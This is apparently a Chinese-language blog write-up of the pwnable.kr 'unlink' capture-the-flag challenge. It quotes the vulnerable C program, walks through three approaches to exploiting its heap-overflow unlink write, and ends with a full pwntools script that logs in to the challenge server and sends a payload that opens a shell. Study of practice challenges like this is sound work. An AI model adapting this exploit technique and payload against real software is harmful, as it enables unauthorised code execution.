【pwnable.kr】 unlink
pwnable.kr 第一阶段的最后一题!

这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考《C和C++安全编码一书》//不是广告
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[];
}OBJ; void shell(){
system("/bin/sh");
} void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc();
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ)); // double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B; printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf); // exploit this unlink!
unlink(B);
return ;
}
这道题在get(A->buf)处存在明显的堆溢出,可以覆盖A->buf以后全部堆内存。
首先在gets(A->buf)后,执行了unlink操作,操作导致[B->bk]->fd被B->fd值覆写以及[B->fd]->bk被B->bk覆写。
该覆写过程发生于Unlink函数中,当输入A->buf溢出覆盖了B->fd和B->bk时,可导致一个DWORD SHOOT覆写。但会产生另外一个DWORD被覆盖的副作用。
1. 最初的想法通过上述的DWORD SHOOT覆写Unlink函数的返回地址,将该返回地址改为shell函数的返回地址。可能导致在Unlink返回时跳转到shell函数去
即:
B->bk = Unlink的返回地址
B->bk = Shell函数的起始地址
根据覆写流程,会产生一个副作用,即[Shell函数的起始地址+4 ] = Unlink的返回地址

当该副作用产生时,shell函数内容会被篡改,导致出错该方案行不通。
2. 第二种考虑将shellcode写在溢出的堆上,同样利用上述方法,将返回地址写到堆上的地址,然后再使用跳转,至shell函数中以获得flag。
堆内存即
A结构+B->fd+B->bk+nop*n + jmp shell + jmp short xxx
其中返回地址覆写为jmp short xxx,这样Unlink结束后跳转至jmp short xx指令,jmp短跳转至nop然后再jmp shell导致获取权限。
这样覆写位置在jmp short xx指令后,对执行函数无影响,方案貌似可行。
这时存在的问题是需要在堆上执行代码,需要堆上的数据有执行权限。查看一下开启的保护:

发现开启了NX保护,堆上代码不可执行,因此该方案也无效。
3. 最终,无可奈何只能继续往下面找,发现unlink函数没有可以利用的地方了,然后main函数直接结束了,也没有给出之前做过的覆写GOT表的机会。
最终在main函数返回时找到可以利用的地方。

retn指令相当于pop eip,该指令是可以控制程序运行流程的,流程的来源是esp指向的地址。
而再之前 lea esp,[ecx-4]即把ecx-4地址中的数据赋给esp。
而在此逆推ecx的值是从mov ecx,[ebp-4]中得到的。
而leave指令相当于mov esp ebp,pop ebp,对esp数据的来源无影响。
ebp在整个main函数运行中是不变的。
因此,可以构造 [ecx-4] = shell的起始地址
这样 就可以先把 shell的起始地址写到一个内存地址(如可以在A->buf的起始部分输入shell函数地址),ecx再指向该地址+4.
进一步就是将ebp-4地址中的值覆写成上面的地址+4.
======================思路over===========================================
因此输入的内容就是shell地址+填充字符 + B->fb + B->bk就可以了。
根据前一篇文中堆块的地址分配,malloc(sizeof(OBJ)的大小就应该是8 * (int(4+4+8 + 4)/8 +1) = 24
A->buf = 12,再加上B堆块固有的堆块大小及标志位4字节,shell+填充字符共计为16字节。
假设A->buf的地址记为shell,shell = A+8
下一步要解决的是B->fb和B->bk问题。
BK=B->bk;
FD=B->fd;
FD->bk=BK;
BK->fd=FD;
由OBJ结构可知OBJ->fb = OBJ,OBJ->bk=OBJ+4.
所以,覆写就有两种覆写方法,BK为shell+4,或者BK为EBP-4
当BK= shell+4 时,FD + 4 = EBP-4,FD=EBP-8 , 覆写时,[shell + 4 ] = EBP-8
当BK = EBP-4时,FD + 4 = shell +4 ,FD = shell, 覆写时,[shell+4] = EBP-4
二者的覆写均无影响。
再说,shell的值与EBP的值如何获得。

shell = A + 8,A可由打印的第二个值获得。
而EBP可由反汇编代码中看到,

&A= EBP-0x14
由上述两种方法求得的fb、bk分别
1.
payload += p32(heap_addr + 12)
payload += p32(stack_addr + 0x10)
2.
payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 )
编写payload脚本
from pwn import * shell_addr = 0x080484eb s = ssh(host='pwnable.kr',
port=2222,
user='unlink',
password='guest'
)
p = s.process("./unlink")
p.recvuntil("here is stack address leak: ")
stack_addr = p.recv(10)
stack_addr = int(stack_addr,16)
p.recvuntil("here is heap address leak: ")
heap_addr = p.recv(9)
heap_addr = int(heap_addr,16)
payload = p32(shell_addr)
payload += 'a'*12
#payload += p32(heap_addr + 12)
#payload += p32(stack_addr + 0x10) payload += p32(stack_addr + 12)
payload += p32(heap_addr + 12 ) p.send(payload)
p.interactive()

【pwnable.kr】 unlink的更多相关文章
- 【pwnable.kr】 asm
一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...
- 【pwnable.kr】 [simple login]
Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...
- 【pwnable.kr】 brainfuck
pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...
- 【pwnable.kr】 memcpy
pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...
- 【pwnable.kr】 codemap
pwnable新的一题. download: http://pwnable.kr/bin/codemap.exe ssh codemap@pwnable.kr -p2222 (pw:guest) 这道 ...
- 【pwnable.kr】 uaf
目测是比较接近pwnable的一道题.考察了uaf(use after free的内容),我觉得说白了就是指针没有初始化的问题. ssh uaf@pwnable.kr -p2222 (pw:guest ...
- 【pwnable.kr】input
这道题是一道一遍一遍满足程序需求的题. 网上其他的题解都是用了C语言或者python语言的本地调用,我想联系一下pwntools的远程调用就写了下面的脚本, 执行效果可以通过1~4的检测,到最后soc ...
- 【pwnable.kr】cmd2
这道题是上一个cmd1的升级版 ssh cmd2@pwnable.kr -p2222 (pw:mommy now I get what PATH environmentis for :)) 登录之后, ...
- 【pwnable.kr】cmd1
最近的pwnable都是linux操作系统层面的. ssh cmd1@pwnable.kr -p2222 (pw:guest) 首先还是下载源代码: #include <stdio.h> ...
随机推荐
- Rcnn/Faster Rcnn/Faster Rcnn的理解
基于候选区域的目标检测器 1. 滑动窗口检测器 根据滑动窗口从图像中剪切图像块-->将剪切的图像块warp成固定大小-->cnn网络提取特征-->SVM和regressor进行分类 ...
- Python 之网络编程之进程总体概要
一: 进程的概念:(Process) 进程就是正在运行的程序,它是操作系统中,资源分配的最小单位. 资源分配:分配的是cpu和内存等物理资源 进程号是进程的唯一标识 同一个程序执行两次之后是两个进程 ...
- UI的考核方式之【主题颜色 + 主题字体 + 主题样式】
首先,项目中的颜色需要怎么管理呢? 宏?常量? 宏的值可以被改变,不用宏.那就用常量.那常量的名字怎么去起名呢? WSFConstants_Color_0xCCCCCC? WSFConstants_C ...
- 三 Spring对于延迟加载问题的解决
Spring提供了延迟加载问题的解决方法 什么是延迟加载? 延迟加载:lazy(懒加载) 执行到该行代码的时候不会发送语句,真正使用这个对象的属性的时候才会发送sql语句进行查询. 类级别延迟加载:指 ...
- Python 数组
使用之前要先导入函数库 import numpy as np 数组名=np.zeros(数组大小,数据类型) 初始化为0值,这里的数据类型只能是数值类型,字符类型不能用 一.一维数组 impo ...
- nginx 安装部署前篇
官网:https://nginx.org/ 特性:既可以作为HTTP服务器,也可以作为反向代理服务器或者邮件服务器或者邮件服务器:能够快递响应静态页面的请求:支持 Fast CGI.SSL.Virtu ...
- ionic3记录之弹窗Alert
一个业务流程需要多个弹窗: 在上一个弹窗的onDidDissmiss写下一个弹窗:
- Qt中QListWidget的verticalScrollMode选项设置为ScrollPerPixel无效果的原因
设置为ScrollPerPixel无效果,根据Qt手册的描述,需要在设置一次setSingleStep()的值,才会生效
- UOJ Contest #50: Goodbye Jihai
比赛传送门:Goodbye Jihai. \(\Huge{\mathbf{再见,己亥.\\你好,庚子!\\祝大家新春快乐!}}\) A. 新年的促销 这题如果直接做的话可能方向会想歪,方向对了其实就是 ...
- Nginx 的优势
Nginx 的优势 在 Java 开发中,Nginx 有着非常广泛的使用,随便举几点: 使用 Nginx 做静态资源服务器:Java 中的资源可以分为动态和静态,动态需要经过 Tomcat 解析之后, ...